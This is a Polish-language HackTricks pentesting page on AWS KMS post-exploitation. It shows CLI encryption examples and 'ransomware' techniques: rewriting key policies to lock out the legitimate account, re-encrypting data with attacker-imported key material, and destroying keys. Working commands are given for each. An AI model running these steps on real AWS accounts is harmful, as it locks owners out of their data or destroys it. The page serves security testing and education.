Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
T

4.3 KiB

AWS - KMS Po Eksploatacji

{{#include ../../../banners/hacktricks-training.md}}

KMS

Aby uzyskać więcej informacji, sprawdź:

{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}

Szyfrowanie/Odszyfrowanie informacji

fileb:// i file:// to schematy URI używane w poleceniach AWS CLI do określenia ścieżki do lokalnych plików:

  • fileb://: Odczytuje plik w trybie binarnym, powszechnie używany dla plików nie-tekstowych.
  • file://: Odczytuje plik w trybie tekstowym, zazwyczaj używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.

Tip

Zauważ, że jeśli chcesz odszyfrować dane w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)

  • Używając klucza symetrycznego
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Używając klucza asymetrycznego:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę KMS kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany legalnemu kontu.

Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.

Warning

Zauważ, że klucze zarządzane przez AWS nie są dotknięte tym atakiem, tylko klucze zarządzane przez klienta.

Zauważ również potrzebę użycia parametru --bypass-policy-lockout-safety-check (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko do zewnętrznego konta, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby przywrócić dostęp do oryginalnego konta, nie będziesz w stanie.

Ogólny KMS Ransomware

Globalny KMS Ransomware

Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:

  • Utwórz nowy klucz z materiałem klucza importowanym przez atakującego
  • Ponownie zaszyfruj starsze dane zaszyfrowane poprzednią wersją nową.
  • Usuń klucz KMS
  • Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane

Zniszcz klucze

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

[!OSTRZEŻENIE] Zauważ, że AWS teraz zapobiega wykonywaniu poprzednich działań z konta zewnętrznego:

{{#include ../../../banners/hacktricks-training.md}}